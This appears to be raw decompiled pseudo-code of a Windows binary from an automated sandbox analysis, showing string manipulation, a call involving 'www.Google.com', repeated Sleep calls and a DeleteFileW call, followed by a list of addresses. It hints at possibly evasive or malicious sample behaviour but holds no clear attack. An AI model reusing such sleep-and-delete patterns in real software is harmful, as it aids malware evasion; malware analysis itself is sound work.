				if ( *((long long*)(_t1063 + 0x58)) - 0x10 < 0) goto 0xf47354cc;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1063 + 0x40)));
				_t1057 =  >=  ?  *((void*)(_t1061 + 0x98)) : _t1061 + 0x98;
				_t968 =  >=  ?  *((void*)(_t1061 + 0x218)) : _t1061 + 0x218;
				_t764 =  *((intOrPtr*)(_t1061 + 0x228));
				_t1080 = ( >=  ?  *((void*)(_t1061 + 0x218)) : _t1061 + 0x218) + _t764 * 2;
				_t970 =  >=  ?  *((void*)(_t1061 + 0x218)) : _t1061 + 0x218;
				 *((long long*)(_t1061 + 0x90)) = 0xf;
				 *((long long*)(_t1061 + 0x88)) = _t784;
				 *((char*)(_t1061 + 0x78)) = 0;
				E000007FE7FEF473F620(_t784, _t1061 + 0x78,  >=  ?  *((void*)(_t1061 + 0x218)) : _t1061 + 0x218, _t1057, _t1061, ( >=  ?  *((void*)(_t1061 + 0x218)) : _t1061 + 0x218) + _t764 * 2, _t1159);
				 *((long long*)(_t1061 + 0x270)) = 0xf;
				 *((long long*)(_t1061 + 0x268)) = _t784;
				 *((char*)(_t1061 + 0x258)) = 0;
				r8d = 0;
				E000007FE7FEF4722B70(_t784, _t1061 + 0x258, _t1061 + 0x78, _t1057, _t1061, ( >=  ?  *((void*)(_t1061 + 0x218)) : _t1061 + 0x218) + _t764 * 2, _t1125 | 0xffffffff);
				_t156 = _t1159 + 0x140; // 0x140
				E000007FE7FEF47234E0( *(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x10) | 6, _t641, _t643,  *((long long*)(_t1061 + 0x230)) - 8, _t784, _t1061 + 0x338, _t156, _t1125 | 0xffffffff, _t1150);
				E000007FE7FEF473DE50(_t644, _t764, _t784, _t1063 + 0x40, _t1061 + 0x78, _t1061, "|||", _t1125 | 0xffffffff);
				E000007FE7FEF473DF30(_t1061 - 0x48, _t764, _t762, _t1057, _t1061, _t1061 + 0x338, _t1125 | 0xffffffff);
				_t765 = _t1061 + 0x78;
				if (_t765 == _t764) goto 0xf47355e3;
				if ( *((long long*)(_t1061 + 0x90)) - 0x10 < 0) goto 0xf47355c1;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 + 0x78)));
				 *((long long*)(_t1061 + 0x90)) = 0xf;
				 *((long long*)(_t1061 + 0x88)) = _t784;
				 *((char*)(_t1061 + 0x78)) = 0;
				E000007FE7FEF47229E0(_t784, _t1061 + 0x78, _t764);
				if ( *((long long*)(_t1061 - 0x30)) - 0x10 < 0) goto 0xf47355f3;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x48)));
				 *((long long*)(_t1061 - 0x30)) = 0xf;
				 *((long long*)(_t1061 - 0x38)) = _t784;
				 *((char*)(_t1061 - 0x48)) = 0;
				_t684 =  *((long long*)(_t1063 + 0x58)) - 0x10;
				if (_t684 < 0) goto 0xf4735615;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1063 + 0x40)));
				E000007FE7FEF47231D0(0, _t641, _t765, _t784, _t1061 + 0x18, _t764, _t1057, _t1061, _t1061 + 0x78);
				E000007FE7FEF4723290( *(_t1061 +  *((intOrPtr*)(_t759 + 4)) + 0x380 + 0x10) | 6, _t641, _t643, _t684, _t784, _t1061 + 0x358, _t1061 + 0x18, _t1125 | 0xffffffff);
				 *((long long*)(_t1063 + 0x28)) = 0xf476a763;
				 *((long long*)(_t1063 + 0x20)) = 0xf476a763;
				E000007FE7FEF4737230(0, 3, _t643, _t684, _t765, _t1159, _t1061, "www.Google.com", 0xf476a763, _t1150); // executed
				Sleep(??); // executed
				if (_t684 != 0) goto 0xf4735640;
				_t182 = _t1159 + 0xa0; // 0xa0
				E000007FE7FEF47234E0(0, 3, _t643, _t684, _t784, _t1063 + 0x40, _t182, 0xf476a763, _t1150);
				E000007FE7FEF473DF30(_t1061 - 0x48, _t765, _t764 - 1, _t1057, _t1061, _t1061 + 0x18, 0xf476a763);
				_t1044 = _t765;
				if (_t1061 + 0x18 == _t1044) goto 0xf4735703;
				if ( *((long long*)(_t1061 + 0x30)) - 0x10 < 0) goto 0xf47356ac;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 + 0x18)));
				 *((long long*)(_t1061 + 0x30)) = 0xf;
				 *((long long*)(_t1061 + 0x28)) = _t784;
				 *((char*)(_t1061 + 0x18)) = 0;
				_t687 =  *((long long*)(_t1044 + 0x18)) - 0x10;
				if (_t687 >= 0) goto 0xf47356da;
				if (_t687 == 0) goto 0xf47356e4;
				E000007FE7FEF4740FC0(0x2710, 3, _t643, _t645, _t1061 + 0x18, _t1044,  *((intOrPtr*)(_t1044 + 0x10)) + 1);
				goto 0xf47356e4;
				 *((long long*)(_t1061 + 0x18)) =  *_t1044;
				 *_t1044 = _t784;
				 *((long long*)(_t1061 + 0x28)) =  *((intOrPtr*)(_t1044 + 0x10));
				 *((long long*)(_t1061 + 0x30)) =  *((intOrPtr*)(_t1044 + 0x18));
				 *((long long*)(_t1044 + 0x18)) = 0xf;
				 *((long long*)(_t1044 + 0x10)) = _t784;
				 *_t1044 = 0;
				if ( *((long long*)(_t1061 - 0x30)) - 0x10 < 0) goto 0xf4735713;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x48)));
				 *((long long*)(_t1061 - 0x30)) = 0xf;
				 *((long long*)(_t1061 - 0x38)) = _t784;
				 *((char*)(_t1061 - 0x48)) = 0;
				if ( *((long long*)(_t1063 + 0x58)) - 0x10 < 0) goto 0xf4735735;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1063 + 0x40)));
				_t209 = _t1159 + 0xc0; // 0xc0
				E000007FE7FEF47234E0(0, 3, _t643,  *((long long*)(_t1063 + 0x58)) - 0x10, _t784, _t1061 + 0x1b8, _t209, 0xf476a763, _t1150);
				_t211 = _t1159 + 0xe0; // 0xe0
				E000007FE7FEF47234E0(0, 3, _t643,  *((long long*)(_t1063 + 0x58)) - 0x10, _t784, _t1061 + 0x278, _t211, 0xf476a763, _t1150);
				_t213 = _t1159 + 0x100; // 0x100
				E000007FE7FEF47234E0(0, 3, _t643,  *((long long*)(_t1063 + 0x58)) - 0x10, _t784, _t1061 + 0x1d8, _t213, 0xf476a763, _t1150);
				Sleep(??); // executed
				_t771 =  >=  ?  *((void*)(_t1061 + 0x1d8)) : _t1061 + 0x1d8;
				_t1129 =  >=  ?  *((void*)(_t1061 + 0x278)) : _t1061 + 0x278;
				_t1095 =  >=  ?  *((void*)(_t1061 + 0x1b8)) : _t1061 + 0x1b8;
				 *((long long*)(_t1063 + 0x28)) = _t1057;
				 *((long long*)(_t1063 + 0x20)) =  >=  ?  *((void*)(_t1061 + 0x1d8)) : _t1061 + 0x1d8;
				E000007FE7FEF4737230(0, 3, _t643,  *((long long*)(_t1061 + 0x1d0)) - 0x10,  >=  ?  *((void*)(_t1061 + 0x1d8)) : _t1061 + 0x1d8, _t1159, _t1061,  >=  ?  *((void*)(_t1061 + 0x1b8)) : _t1061 + 0x1b8,  >=  ?  *((void*)(_t1061 + 0x278)) : _t1061 + 0x278, _t1150); // executed
				if ( *0xf477b080 == 0) goto 0xf4735771;
				_t1046 =  >=  ?  *((void*)(_t1061 + 0x18)) : _t1061 + 0x18;
				asm("cvttsd2si eax, [0x45894]");
				asm("xorps xmm0, xmm0");
				asm("movsd [0x45889], xmm0");
				asm("movd xmm6, eax");
				asm("cvtdq2pd xmm6, xmm6");
				asm("o16 nop [eax+eax]");
				Sleep(??);
				_t229 = _t1159 + 0x120; // 0x120
				E000007FE7FEF47234E0(0, 3, _t643,  *((long long*)(_t1061 + 0x30)) - 0x10, _t784, _t1061 - 0x48, _t229,  >=  ?  *((void*)(_t1061 + 0x278)) : _t1061 + 0x278, _t1150);
				_t773 =  >=  ?  *((void*)(_t1061 + 0x1d8)) : _t1061 + 0x1d8;
				_t1131 =  >=  ?  *((void*)(_t1061 - 0x48)) : _t1061 - 0x48;
				_t697 =  *((long long*)(_t1061 + 0x1d0)) - 0x10;
				_t1098 =  >=  ?  *((void*)(_t1061 + 0x1b8)) : _t1061 + 0x1b8;
				 *((long long*)(_t1063 + 0x28)) =  >=  ?  *((void*)(_t1061 + 0x18)) : _t1061 + 0x18;
				 *((long long*)(_t1063 + 0x20)) = _t773;
				E000007FE7FEF4737230(1, 3, _t643, _t697, _t773, _t1159, _t1061,  >=  ?  *((void*)(_t1061 + 0x1b8)) : _t1061 + 0x1b8,  >=  ?  *((void*)(_t1061 - 0x48)) : _t1061 - 0x48, _t1150);
				asm("ucomisd xmm6, [0x45801]");
				if (_t697 != 0) goto 0xf473588b;
				if (_t697 == 0) goto 0xf47358a4;
				if ( *((long long*)(_t1061 - 0x30)) - 0x10 < 0) goto 0xf4735810;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x48)));
				goto 0xf4735810;
				if ( *((long long*)(_t1061 - 0x30)) - 0x10 < 0) goto 0xf47358b4;
				E000007FE7FEF4734050(E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x48))), _t643, _t1061 + 0x298, _t1057, _t1061 + 0x158);
				_t852 =  >=  ?  *((void*)(_t1061 + 0x298)) : _t1061 + 0x298;
				DeleteFileW(??);
				 *((long long*)(_t1061 + 0xd0)) = 0xf;
				 *((long long*)(_t1061 + 0xc8)) = _t784;
				 *((char*)(_t1061 + 0xb8)) = 0;
				r8d = 0;
				E000007FE7FEF4722D50(_t784, _t1061 + 0xb8, 0xf476a763, _t1057, _t1061 + 0x158);
				_t255 = _t1159 + 0x160; // 0x160
				E000007FE7FEF47234E0(1, 3, _t643,  *((long long*)(_t1061 + 0x2b0)) - 8, _t784, _t1061 + 0x2b8, _t255,  >=  ?  *((void*)(_t1061 - 0x48)) : _t1061 - 0x48, _t1150);
				_t257 = _t1159 + 0x140; // 0x140
				E000007FE7FEF47234E0(1, 3, _t643,  *((long long*)(_t1061 + 0x2b0)) - 8, _t784, _t1061 + 0x2d8, _t257,  >=  ?  *((void*)(_t1061 - 0x48)) : _t1061 - 0x48, _t1150);
				E000007FE7FEF473DE50(_t644, _t773, _t784, _t1061 - 0x78, _t1159, _t1061, "\\",  >=  ?  *((void*)(_t1061 - 0x48)) : _t1061 - 0x48);
				E000007FE7FEF473DF30(_t1063 + 0x40, _t773,  >=  ?  *((void*)(_t1061 + 0x18)) : _t1061 + 0x18, _t1057, _t1061, _t1061 + 0x2b8,  >=  ?  *((void*)(_t1061 - 0x48)) : _t1061 - 0x48);
				E000007FE7FEF473DD40(_t1063 + 0x68, _t773, "\\");
				E000007FE7FEF473DF30(_t1061 - 0x48, _t773,  >=  ?  *((void*)(_t1061 + 0x18)) : _t1061 + 0x18, _t1057, _t1061, _t1061 + 0x2d8,  >=  ?  *((void*)(_t1061 - 0x48)) : _t1061 - 0x48);
				if (_t1061 + 0xb8 == _t773) goto 0xf47359d7;
				if ( *((long long*)(_t1061 + 0xd0)) - 0x10 < 0) goto 0xf47359af;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 + 0xb8)));
				 *((long long*)(_t1061 + 0xd0)) = 0xf;
				 *((long long*)(_t1061 + 0xc8)) = _t784;
				 *((char*)(_t1061 + 0xb8)) = 0;
				E000007FE7FEF47229E0(_t784, _t1061 + 0xb8, _t773);
				if ( *((long long*)(_t1061 - 0x30)) - 0x10 < 0) goto 0xf47359e7;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x48)));
				 *((long long*)(_t1061 - 0x30)) = 0xf;
				 *((long long*)(_t1061 - 0x38)) = _t784;
				 *((char*)(_t1061 - 0x48)) = 0;
				if ( *((long long*)(_t1061 - 0x80)) - 0x10 < 0) goto 0xf4735a08;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1063 + 0x68)));
				 *((long long*)(_t1061 - 0x80)) = 0xf;
				 *((long long*)(_t1063 + 0x78)) = _t784;
				 *((char*)(_t1063 + 0x68)) = 0;
				if ( *((long long*)(_t1063 + 0x58)) - 0x10 < 0) goto 0xf4735a2c;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1063 + 0x40)));
				 *((long long*)(_t1063 + 0x58)) = 0xf;
				 *((long long*)(_t1063 + 0x50)) = _t784;
				 *((char*)(_t1063 + 0x40)) = 0;
				if ( *((long long*)(_t1061 - 0x60)) - 0x10 < 0) goto 0xf4735a4f;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x78)));
				_t289 = _t1159 + 0x340; // 0x340
				E000007FE7FEF47234E0(1, 3, _t643,  *((long long*)(_t1061 - 0x60)) - 0x10, _t784, _t1061 + 0x178, _t289,  >=  ?  *((void*)(_t1061 - 0x48)) : _t1061 - 0x48, _t1150);
				 *((long long*)(_t1061 + 0x110)) = 7;
				 *((long long*)(_t1061 + 0x108)) = _t784;
				 *((short*)(_t1061 + 0xf8)) = 0;
				r8d = 0x20;
				E000007FE7FEF4728590(_t1061 + 0xf8,  *((intOrPtr*)(_t1061 + 0x188)));
				_t1133 =  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8;
				_t997 =  >=  ?  *((void*)(_t1061 + 0x178)) : _t1061 + 0x178;
				_t776 =  *((intOrPtr*)(_t1061 + 0x188)) + ( >=  ?  *((void*)(_t1061 + 0x178)) : _t1061 + 0x178);
				_t1145 =  >=  ?  *((void*)(_t1061 + 0x178)) : _t1061 + 0x178;
				_t865 = _t784;
				_t1000 =  >  ? _t784 : _t776 - _t1145;
				if (_t1000 == 0) goto 0xf4735b23;
				 *_t1133 =  *((char*)(_t1145 + _t865));
				_t1134 = _t1133 + 2;
				if (_t865 + 1 != _t1000) goto 0xf4735b00;
				_t1059 =  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8;
				 *((long long*)(_t1061 + 0x10)) = 0xf;
				 *((long long*)(_t1061 + 8)) = _t784;
				 *((char*)(_t1061 - 8)) = 0;
				r8d = 0;
				E000007FE7FEF4722D50(_t784, _t1061 - 8, 0xf476a763,  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8, _t289);
				_t315 = _t1159 + 0x520; // 0x520
				E000007FE7FEF47234E0(1, 3, _t643,  *((intOrPtr*)(_t1061 + 0x110)) - 8, _t784, _t1061 + 0x2f8, _t315, _t1133 + 2,  *((intOrPtr*)(_t1061 + 0xf8)));
				E000007FE7FEF473DE50(_t644, _t776, _t784, _t1061 - 0x78, _t1159, _t1061, "\\", _t1133 + 2);
				E000007FE7FEF473DF30(_t1061 - 0x48, _t776,  *((intOrPtr*)(_t1061 + 0x110)),  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8, _t1061, _t1061 + 0x2b8, _t1133 + 2);
				E000007FE7FEF473DD40(_t1063 + 0x68, _t776, "\\");
				E000007FE7FEF473DF30(_t1063 + 0x40, _t776,  *((intOrPtr*)(_t1061 + 0x110)),  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8, _t1061, _t1061 + 0x2d8, _t1134);
				_t777 = _t1061 - 8;
				if (_t777 == _t776) goto 0xf4735bef;
				if ( *((long long*)(_t1061 + 0x10)) - 0x10 < 0) goto 0xf4735bd3;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 8)));
				 *((long long*)(_t1061 + 0x10)) = 0xf;
				 *((long long*)(_t1061 + 8)) = _t784;
				 *((char*)(_t1061 - 8)) = 0;
				E000007FE7FEF47229E0(_t784, _t1061 - 8, _t776);
				if ( *((long long*)(_t1063 + 0x58)) - 0x10 < 0) goto 0xf4735c01;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1063 + 0x40)));
				 *((long long*)(_t1063 + 0x58)) = 0xf;
				 *((long long*)(_t1063 + 0x50)) = _t784;
				 *((char*)(_t1063 + 0x40)) = 0;
				if ( *((long long*)(_t1061 - 0x80)) - 0x10 < 0) goto 0xf4735c25;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1063 + 0x68)));
				 *((long long*)(_t1061 - 0x80)) = 0xf;
				 *((long long*)(_t1063 + 0x78)) = _t784;
				 *((char*)(_t1063 + 0x68)) = 0;
				if ( *((long long*)(_t1061 - 0x30)) - 0x10 < 0) goto 0xf4735c47;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x48)));
				 *((long long*)(_t1061 - 0x30)) = 0xf;
				 *((long long*)(_t1061 - 0x38)) = _t784;
				 *((char*)(_t1061 - 0x48)) = 0;
				if ( *((long long*)(_t1061 - 0x60)) - 0x10 < 0) goto 0xf4735c67;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x78)));
				E000007FE7FEF473DC60(_t644, _t784, _t1061 - 0x78, "\"", _t1061, _t1061 - 8, _t1134);
				E000007FE7FEF473DD40(_t1063 + 0x40, _t777, "\"");
				if (_t1061 - 8 == _t777) goto 0xf4735cc8;
				if ( *((long long*)(_t1061 + 0x10)) - 0x10 < 0) goto 0xf4735cac;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 8)));
				 *((long long*)(_t1061 + 0x10)) = 0xf;
				 *((long long*)(_t1061 + 8)) = _t784;
				 *((char*)(_t1061 - 8)) = 0;
				E000007FE7FEF47229E0(_t784, _t1061 - 8, _t777);
				if ( *((long long*)(_t1063 + 0x58)) - 0x10 < 0) goto 0xf4735cda;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1063 + 0x40)));
				 *((long long*)(_t1063 + 0x58)) = 0xf;
				 *((long long*)(_t1063 + 0x50)) = _t784;
				 *((char*)(_t1063 + 0x40)) = 0;
				if ( *((long long*)(_t1061 - 0x60)) - 0x10 < 0) goto 0xf4735cfd;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x78)));
				E000007FE7FEF473DC60(_t644, _t784, _t1061 - 0x78, ", ", _t1061, _t1061 + 0x2f8, _t1134);
				r8d = r8d ^ r8d;
				E000007FE7FEF473C8D0(_t784, _t1061 - 8, _t1061 - 8, _t777,  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8, _t1061, _t1061 + 0x2f8, _t1134 | 0xffffffff);
				if ( *((long long*)(_t1061 - 0x60)) - 0x10 < 0) goto 0xf4735d39;
				E000007FE7FEF4741974( *((intOrPtr*)(_t1061 - 0x78)));
				 *((long long*)(_t1063 + 0x58)) = 0xf;
				 *((long long*)(_t1063 + 0x50)) = _t784;
				 *((char*)(_t1063 + 0x40)) = 0;
				r8d = 0;
				E000007FE7FEF4722B70(_t784, _t1063 + 0x40, _t1061 - 8,  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8, _t1061, _t1061 + 0x2f8, _t1134 | 0xffffffffffffffff);
				E000007FE7FEF4738F50(3, _t643, _t784, _t1159,  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8, _t1063 + 0x40,  *((intOrPtr*)(_t1061 + 0xf8)));
				 *((long long*)(_t1063 + 0x58)) = 0xf;
				 *((long long*)(_t1063 + 0x50)) = _t784;
				 *((char*)(_t1063 + 0x40)) = 0;
				r8d = 0;
				E000007FE7FEF4722B70(_t784, _t1063 + 0x40, _t1061 + 0x258,  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8, _t1061, _t1063 + 0x40, _t1134 | 0xffffffffffffffff);
				E000007FE7FEF4739F50(0, 0x2710, 1, 3,  *((long long*)(_t1061 - 0x60)) - 0x10, _t784, _t1159, _t1063 + 0x40, _t1063 + 0x40, _t1134 | 0xffffffffffffffff,  *((intOrPtr*)(_t1061 + 0xf8)));
				_t381 = _t1159 + 0x560; // 0x560
				E000007FE7FEF47234E0(1, 3, _t643,  *((long long*)(_t1061 - 0x60)) - 0x10, _t784, _t1061 + 0x1f8, _t381, _t1134 | 0xffffffffffffffff,  *((intOrPtr*)(_t1061 + 0xf8)));
				 *((long long*)(_t1061 + 0x130)) = 7;
				 *((long long*)(_t1061 + 0x128)) = _t784;
				 *((short*)(_t1061 + 0x118)) = 0;
				r8d = 0x20;
				E000007FE7FEF4728590(_t1061 + 0x118,  *((intOrPtr*)(_t1061 + 0x208)));
				_t1139 =  >=  ?  *((intOrPtr*)(_t1061 + 0x118)) : _t1061 + 0x118;
				_t1020 =  >=  ?  *((void*)(_t1061 + 0x1f8)) : _t1061 + 0x1f8;
				_t780 =  *((intOrPtr*)(_t1061 + 0x208)) + ( >=  ?  *((void*)(_t1061 + 0x1f8)) : _t1061 + 0x1f8);
				_t1022 =  >=  ?  *((void*)(_t1061 + 0x1f8)) : _t1061 + 0x1f8;
				_t1119 =  >  ? _t784 :  *((intOrPtr*)(_t1061 + 0x208)) + ( >=  ?  *((void*)(_t1061 + 0x1f8)) : _t1061 + 0x1f8) - _t1022;
				if (_t1119 == 0) goto 0xf4735e86;
				 *((short*)( >=  ?  *((intOrPtr*)(_t1061 + 0x118)) : _t1061 + 0x118)) =  *_t1022;
				if (_t1022 + 1 +  ~_t1022 != _t1119) goto 0xf4735e60;
				_t1025 =  >=  ?  *((intOrPtr*)(_t1061 + 0x118)) : _t1061 + 0x118;
				E000007FE7FEF473A5D0( *_t1022, 0, _t784,  >=  ?  *((intOrPtr*)(_t1061 + 0x118)) : _t1061 + 0x118, _t777,  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8);
				_t404 = _t1159 + 0x60; // 0x60
				E000007FE7FEF47234E0(1, 3, _t643,  *((intOrPtr*)(_t1061 + 0x130)) - 8, _t784, _t1061 + 0x198, _t404, ( >=  ?  *((intOrPtr*)(_t1061 + 0x118)) : _t1061 + 0x118) + 2,  *((intOrPtr*)(_t1061 + 0x130)));
				 *((long long*)(_t1061 + 0x50)) = 7;
				 *((long long*)(_t1061 + 0x48)) = _t784;
				 *((short*)(_t1061 + 0x38)) = 0;
				r8d = 0x20;
				E000007FE7FEF4728590(_t1061 + 0x38,  *((intOrPtr*)(_t1061 + 0x1a8)));
				_t1142 =  >=  ?  *((intOrPtr*)(_t1061 + 0x38)) : _t1061 + 0x38;
				_t1029 =  >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198;
				_t783 =  *((intOrPtr*)(_t1061 + 0x1a8)) + ( >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198);
				_t1031 =  >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198;
				_t897 =  >  ? _t784 :  *((intOrPtr*)(_t1061 + 0x1a8)) + ( >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198) - _t1031;
				if (_t897 == 0) goto 0xf4735f4c;
				 *((short*)( >=  ?  *((intOrPtr*)(_t1061 + 0x38)) : _t1061 + 0x38)) =  *((char*)(_t1031 + _t784));
				if (_t784 + 1 != _t897) goto 0xf4735f30;
				_t1033 =  >=  ?  *((intOrPtr*)(_t1061 + 0x38)) : _t1061 + 0x38;
				E000007FE7FEF473A5D0( *((char*)(_t1031 + _t784)), 0, _t784 + 1,  >=  ?  *((intOrPtr*)(_t1061 + 0x38)) : _t1061 + 0x38, _t777,  >=  ?  *((intOrPtr*)(_t1061 + 0xf8)) : _t1061 + 0xf8);
				_t589 = E000007FE7FEF473A360(0x2710, 1, 3, _t643,  *((intOrPtr*)(_t1061 + 0x50)) - 8, _t784 + 1, _t1159, _t777, _t1059, ( >=  ?  *((intOrPtr*)(_t1061 + 0x38)) : _t1061 + 0x38) + 2,  *((intOrPtr*)(_t1061 + 0x50)));
				dil = r12d != 0;
				if ( *((intOrPtr*)(_t1061 + 0x50)) - 8 < 0) goto 0xf4735f94;
				E000007FE7FEF4723B70(_t589, _t1063 + 0x60);
				_t591 = E000007FE7FEF4723BA0(1,  *((intOrPtr*)(_t1061 + 0x50)),  *((intOrPtr*)(_t1061 + 0x38)));
				 *((long long*)(_t1061 + 0x50)) = 7;
				E000007FE7FEF4723B80(_t591, _t1061 + 0x38,  *((intOrPtr*)(_t1061 + 0x38)));
				E000007FE7FEF4722970(_t1061 + 0x198);
				E000007FE7FEF4723B40( *((intOrPtr*)(_t1061 + 0x1a8)) + ( >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198), _t1061 + 0x118);
				E000007FE7FEF4722970(_t1061 + 0x1f8);
				E000007FE7FEF4722970(_t1061 + 0x2f8);
				E000007FE7FEF4722970(_t1061 - 8);
				E000007FE7FEF4723B40( *((intOrPtr*)(_t1061 + 0x1a8)) + ( >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198), _t1061 + 0xf8);
				E000007FE7FEF4722970(_t1061 + 0x178);
				E000007FE7FEF4722970(_t1061 + 0x2d8);
				E000007FE7FEF4722970(_t1061 + 0x2b8);
				E000007FE7FEF4722970(_t1061 + 0xb8);
				E000007FE7FEF4723B40( *((intOrPtr*)(_t1061 + 0x1a8)) + ( >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198), _t1061 + 0x298);
				E000007FE7FEF4722970(_t1061 + 0x1d8);
				E000007FE7FEF4722970(_t1061 + 0x278);
				E000007FE7FEF4722970(_t1061 + 0x1b8);
				E000007FE7FEF4722970(_t1061 + 0x358);
				E000007FE7FEF4722970(_t1061 + 0x18);
				E000007FE7FEF4722970(_t1061 + 0x338);
				E000007FE7FEF4722970(_t1061 + 0x258);
				E000007FE7FEF4722970(_t1061 + 0x78);
				E000007FE7FEF4722970(_t1061 + 0x318);
				E000007FE7FEF4722970(_t1061 + 0x98);
				E000007FE7FEF4722970(_t1061 + 0x58);
				E000007FE7FEF4723B40( *((intOrPtr*)(_t1061 + 0x1a8)) + ( >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198), _t1061 + 0x238);
				E000007FE7FEF4723B40( *((intOrPtr*)(_t1061 + 0x1a8)) + ( >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198), _t1061 + 0x218);
				E000007FE7FEF4723B40( *((intOrPtr*)(_t1061 + 0x1a8)) + ( >=  ?  *((void*)(_t1061 + 0x198)) : _t1061 + 0x198), _t1061 + 0xd8);
				E000007FE7FEF4722970(_t1061 + 0x138);
				E000007FE7FEF4722970(_t1061 - 0x28);
				E000007FE7FEF4734F30(0, 3, _t643,  *((intOrPtr*)(_t1061 + 0x50)), _t1061 + 0x380, _t777, _t1059,  *((intOrPtr*)(_t1061 + 0x50)) + 1, ( >=  ?  *((intOrPtr*)(_t1061 + 0x38)) : _t1061 + 0x38) + 2,  *((intOrPtr*)(_t1061 + 0x50)));
				E000007FE7FEF4722970(_t1061 + 0x158);
				_t623 = E000007FE7FEF4740F90(0x2710, 3, _t643, _t645,  *(_t1061 + 0x490) ^ _t1063,  *((intOrPtr*)(_t1061 + 0x38)),  *((intOrPtr*)(_t1061 + 0x50)) + 1);
				asm("inc ecx");
				return _t623;
			}

0x7fef4734f60
0x7fef4734f60
0x7fef4734f60
0x7fef4734f60
0x7fef4734f60
0x7fef4734f60
0x7fef4734f60
0x7fef4734f60
0x7fef4734f60
0x7fef4734f60
0x7fef4734f6c
0x7fef4734f73
0x7fef4734f7a
0x7fef4734f82
0x7fef4734f86
0x7fef4734f8a
0x7fef4734f8e
0x7fef4734f92
0x7fef4734f99
0x7fef4734f9c
0x7fef4734fa3
0x7fef4734fa9
0x7fef4734fae
0x7fef4734fba
0x7fef4734fc3
0x7fef4734fc8
0x7fef4734fd1
0x7fef4734fd9
0x7fef4734fdd
0x7fef4734fe2
0x7fef4734fed
0x7fef4734ff4
0x7fef4734ffa
0x7fef473500e
0x7fef473501b
0x7fef4735020
0x7fef473502b
0x7fef4735038
0x7fef4735042
0x7fef473504f
0x7fef473505a
0x7fef4735060
0x7fef4735065
0x7fef473506d
0x7fef4735071
0x7fef473507a
0x7fef4735080
0x7fef4735087
0x7fef4735094
0x7fef47350a7
0x7fef47350b4
0x7fef47350b9
0x7fef47350c1
0x7fef47350c5
0x7fef47350c9
0x7fef47350d3
0x7fef47350d9
0x7fef47350e4
0x7fef47350eb
0x7fef47350f2
0x7fef47350ff
0x7fef4735110
0x7fef473511e
0x7fef4735127
0x7fef473512f
0x7fef4735136
0x7fef473513b
0x7fef4735141
0x7fef473514e
0x7fef4735151
0x7fef4735159
0x7fef473515c
0x7fef473516e
0x7fef473517f
0x7fef4735190
0x7fef473519c
0x7fef47351a6
0x7fef47351af
0x7fef47351b5
0x7fef47351bd
0x7fef47351ca
0x7fef47351d6
0x7fef47351e3
0x7fef47351e8
0x7fef47351ea
0x7fef47351f6
0x7fef47351fb
0x7fef47351fe
0x7fef4735203
0x7fef4735214
0x7fef4735228
0x7fef473522f
0x7fef4735238
0x7fef473523b
0x7fef4735248
0x7fef4735254
0x7fef4735258
0x7fef473525c
0x7fef473526d
0x7fef4735272
0x7fef473527e
0x7fef4735283
0x7fef473528b
0x7fef4735290
0x7fef4735298
0x7fef47352a0
0x7fef47352a2
0x7fef47352c0
0x7fef47352c5
0x7fef47352c8
0x7fef47352d2
0x7fef47352e6
0x7fef47352f4
0x7fef47352fc
0x7fef4735303
0x7fef473530a
0x7fef4735310
0x7fef4735315
0x7fef473531d
0x7fef4735321
0x7fef473532c
0x7fef4735336
0x7fef4735349
0x7fef473535b
0x7fef4735365
0x7fef473536e
0x7fef4735373
0x7fef473537e
0x7fef4735385
0x7fef4735396
0x7fef47353a0
0x7fef47353a6
0x7fef47353ba
0x7fef47353c2
0x7fef47353cf
0x7fef47353df
0x7fef47353f4
0x7fef47353fc
0x7fef473540e
0x7fef4735416
0x7fef473541e
0x7fef4735422
0x7fef473542a
0x7fef473543b
0x7fef4735441
0x7fef473544f
0x7fef4735468
0x7fef473547a
0x7fef4735484
0x7fef473548d
0x7fef4735492
0x7fef473549d
0x7fef47354a4
0x7fef47354b5
0x7fef47354c0
